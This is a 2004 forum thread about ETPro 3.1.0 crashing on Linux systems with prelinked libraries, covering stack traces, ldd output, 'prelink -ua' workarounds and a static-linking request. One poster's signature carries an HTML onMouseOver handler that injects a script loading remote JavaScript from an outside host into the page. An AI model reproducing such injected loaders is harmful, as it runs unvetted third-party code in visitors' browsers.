ETPro 3.1.0 incompatible with prelink in linux?

Discussion for any ET/ETPro/BayonET bugs or cheats you find...

Moderators: Forum moderators, developers

lucif3r
Posts: 6
Joined: Fri Sep 10, 2004 4:57 am

ETPro 3.1.0 incompatible with prelink in linux?

Post by lucif3r »

Everytime I prelink in gentoo linux I get a crash from ETPro only. The main server I play on is ETPro 3.1.0. On Shrub, regular and realism mod servers there is no problem.
.........................
Initializing Sound Scripts
...loading 'sound/scripts/vo_allies.sounds'
...loading 'sound/scripts/vo_axis.sounds'
...loading 'sound/scripts/fueldump.sounds'
done.
LOADING... graphics
LOADING... maps/fueldump.bsp
stitched 35 LoD cracks
...loaded 13134 faces, 166 meshes, 1078 trisurfs, 0 flares 0 foliage
LOADING... entities
LOADING... game media
LOADING... - textures
LOADING... - models
LOADING... - weapons
LOADING... - items
LOADING... - inline models
LOADING... - server models
LOADING... - particles
LOADING... - classes
LOADING... - game media done
LOADING... flamechunks
LOADING... clients
-------- UNRECOVERABLE ERROR --------
This may be due to a bug in etpro
Information to be used in a bug report is being generated:
------------- CUT HERE --------------
Version: etpro 3.1.0
Platform: Linux
Signal: Segmentation violation (11)
Stack trace: 1 entries
/home/lucif3r/.etwolf/etpro/cgame.mp.i386.so[0x216dcf55]
------------- CUT HERE --------------
Trying to clean up...
Received signal 11, exiting...
This is likely related to a problem with on of the prelinked libraries on my system. Since I am not prelinking the ET binary itself, or any of the binaries or libraries contained in my home directory it has to be something in /lib or /usr/lib. I don't know what libraries etpro uses so I don't know what to block from the prelinking.

While this probably should be fixed in ETPro anyways it doesn't really matter. If I know what it is using I will simply not prelink those files.

For anyone else having this problem (I believe Redhat uses prelinking now too so...) simply try running 'prelink -ua' as root. Then once the bug is fixed you can re-prelink by typing 'prelink -afmR'[/quote]
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

i suspect prelinking doesn't work because etpro has a clientside shared lib, which the engine unpacks and overwrites when you connect to pure servers. this would likely break prelinking.

shrub and realism are serverside only right?
lucif3r
Posts: 6
Joined: Fri Sep 10, 2004 4:57 am

Post by lucif3r »

Sure but what is this shared lib. And I am assuming that it only gets unpacked into ~/.etwolf/etpro/ so it is not being prelinked as I am not prelinking anything in the home folders, so what is the problem. Prelinked and non-prelinked binaries can usually coexist on the same system.

Is the etpro mod using a shared library already in linux. Somthing that I may have prelinked? I have not prelinked the et binary either. Precompiled binaries usually can't be prelinked.
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

every time you connect to a pure server, it overwrites ~/.etwolf/etpro/cgame.mp.i386.so

i have no idea why it would blow up with prelinking.
Bloggins
Posts: 4
Joined: Tue Sep 07, 2004 2:05 pm

Post by Bloggins »

I'm using Fedora core 2. I've discovered (since getting lucif3r's help) that it prelinks alot of libs and binarys that are described in /etc/prelink.conf. also /etc/sysconfig/prelink turns prelinking on and off, it provides options and the prelinking interval. Does anyone know specifically what libs are involved?
lucif3r
Posts: 6
Joined: Fri Sep 10, 2004 4:57 am

Post by lucif3r »

Yes that is basically what I am asking. Since cgame.mp.i386.so is not prelinked by either my system or Redhat it must be a library that ETPro uses that comes with linux that is doesn't like being prelinked.

What libraries are used by ETPro. I don't mind un-prelinking those libraries to figure out which one causes it but I don't want to unprelink the entire system since it does improve load times of large program immensely.

For those that just want to play however you can simply type:

"prelink -ua" as root to unprelink all of the libraries and binaries listed in prelink.conf.

Turning "off" prelinking won't do this because it will just stop prelinking new libraries and programs. You need to undo all the ones it already did. It only takes a few minutes (depending of course on computer speed).
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

ldd
send lawyers, guns and money
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

etpro doesnt use any strange libraries. we purposely made etpro as clean as possible:

Code: Select all

$ ldd cgame.mp.i386.so 
        libm.so.6 => /lib/libm.so.6 (0x46267000)
        libc.so.6 => /lib/libc.so.6 (0x46289000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x80000000)
i really have no idea why prelinking would break things.
lucif3r
Posts: 6
Joined: Fri Sep 10, 2004 4:57 am

Post by lucif3r »

Couldn't say. I am going to try prelink -u on all of those libs and see if it has any success.

I think the problem may be ld-linux which would be unfortuante because so much depends on it that without it prelinking is pointless.

I suppose if you wanted to figure out why prelinking is breaking etpro you could ask the prelink guy. I might try to myself if this doesn't work but I don't know much about the source. Is it available?


http://freshmeat.net/projects/prelink/
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

bani wrote:etpro doesnt use any strange libraries. we purposely made etpro as clean as possible.
so its not fully clean is it :D
BOTA
Posts: 136
Joined: Wed Oct 23, 2002 3:53 am

Post by BOTA »

He said: making it as clean as possible. :)
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

Using the system C library, the system math library, and the linker (all required for a properly working system) is hardly unclean. :P
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
lucif3r
Posts: 6
Joined: Fri Sep 10, 2004 4:57 am

Post by lucif3r »

Sorry I never finished the test. I had a system hang in the middle of the prelinking and it damaged a lot of binaries. Had to start over. I have prelinking off now.

But I was wondering would it be possible in the next version of ETPro to statically link the ETPro binary? That might help this problem. I realized that might mean size problems but I think if you use glibc-diet it is reasonable.

Chris
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

that would prevent anyone from getting the benefits of a glibc compiled for their specific processor.
Keijo
Posts: 5
Joined: Sat Sep 25, 2004 12:19 am

Static linking to solve problem?

Post by Keijo »

Personally, I wouldn't care less if I lose the benefits of using glibc on my system.
What are the benefits you are talking about anyways? Some CPU specific optimizations?

How about providing both statistically and dynamically linked binaries (since you don't seem to provide source)?


Best regards,
Keijo
Post Reply